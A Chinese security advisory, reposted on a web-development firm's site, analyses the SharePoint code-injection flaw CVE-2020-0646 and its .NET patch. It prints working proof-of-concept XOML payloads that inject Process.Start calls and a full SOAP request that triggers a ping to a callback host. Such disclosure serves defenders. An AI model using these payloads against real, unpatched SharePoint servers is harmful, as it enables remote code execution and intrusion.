网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

漏洞公告团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > 漏洞公告 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

微软SharePoint Online漏洞(CVE-2020-0646):代码注入漏洞,实现远程代码执行,2020年1月份.NET补丁修复

文章来源:重庆网络安全 发布时间:2020-02-28 16:35:58 围观次数:
分享到:

摘要:微软SharePoint Online漏洞(CVE-2020-0646),代码注入漏洞,能够在目标系统中实现远程代码执行,2020年1月份 NET补丁修复

 一旦攻击者成功利用此漏洞,他们将能够在目标系统中实现远程代码执行。获取漏洞信息后,Microsoft首次修复了在线平台上的相关漏洞,但直到2020年1月,它才解决了.NET Framework中的相关问题。因此,如果您的SharePoint On-Rremise版本没有安装2020年1月.NET补丁,您仍然会受到此漏洞的影响。


  请注意,如果您的IIS配置支持.XOML扩展名,则在上载文件时也可能会受到此漏洞的影响。


  CVE-2020-0646漏洞分析


  编译XOML格式文件时,攻击者可以利用System.Workflow.Activities命名空间中的某些参数来在SharePoint服务器上执行任意代码。因为攻击者可以执行任意代码,所以该漏洞也可以用来绕过Workflow编译器的nocode选项。


  以下XOML文件显示了使用CallExternalMethodActivity类的示例:

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">  <CallExternalMethodActivity x:Name="codeActivity1" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//' /></SequentialWorkflowActivity>


 在编译期间,攻击者可以将InterfaceType属性的值注入刚刚生成的C#临时文件中:

…    private void InitializeComponent()    {        …        this.codeActivity1.InterfaceType = typeof(System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//);              …    }


 完成上述操作后,攻击者可以绕过原始功能,并尝试实现任意代码执行。值得一提的是,在上面的示例中,当InterfaceType属性受到影响时,其他String类型的属性(例如MethodName)已被正确验证或转义。


  此外,CodeActivity类中的ExecuteCode参数也将受到此利用方法的影响,但我们不能在SharePoint的联机版本中使用此参数并对其进行攻击。它只能应用于On-Premise版本。 当然,可能还有其他Activity类可能受到影响。


  例如,在以下示例中,攻击者使用以下HTTP请求在SharePoint Online版本上执行任意代码:

POST http://[REDACTED].sharepoint.com/_vti_bin/webpartpages.asmx HTTP/1.1Date: Tue, 29 Oct 2019 14:26:21 GMTMIME-Version: 1.0Accept: */*SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSupportObjectsUser-Agent: Mozilla/4.0 (compatible; MS FrontPage 15.0)Host: [REDACTED].sharepoint.comAccept-Language: en-us, en;q=0.1Accept: auth/sicilyX-FORMS_BASED_AUTH_ACCEPTED: TContent-Type: text/xml; charset=utf-8X-Vermeer-Content-Type: text/xml; charset=utf-8Accept-encoding: gzip, deflateConnection: Keep-AlivePragma: no-cacheContent-Length: 1031Cookie: [REDACTED]<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages"><workflowMarkupText><![CDATA[<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"                            xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">  <CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c ping o9ydzn3p7ed579lepxolocqyqpwik7.[redactedBurpCollabServer]");private/**/void/**/foobar(){//' /></SequentialWorkflowActivity>]]></workflowMarkupText><rulesText></rulesText><configBlob></configBlob><flag>2</flag></ValidateWorkflowMarkupAndCreateSupportObjects></soap:Body></soap:Envelope>


 攻击完成后,我们可以看到主机需要解析的相应DNS名称:

blob.png

 此外,攻击者还可以使用以上请求来利用On-Premise版本中的漏洞并进行攻击。


  安装漏洞CVE-2020-0646的修补程序后,SharePoint的工作流将检查所有XML元素和属性,以确保它们仅包含有限数量的合法字符。因此,使用选定的nocode选项时,攻击者将无法在默认配置下将任意代码注入到生成的C#代码中。


本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:微软 SharePoint Online漏洞 CVE-2020-0646 代码注入漏洞 远程代码执行 NET补丁修复 重庆网络安全

上一篇:不当输入验证漏洞:Snapchat网站,可用于通过短信向受害者的手机发送任意构造的文本或URL链接
下一篇:OpenBSD SMTP漏洞分析:远程执行代码,影响版本OpenBSD 6.6,OpenBSD 5.9,Debian 10,Debian 11,Fedora 31。

热门资讯

鼠标向下滚动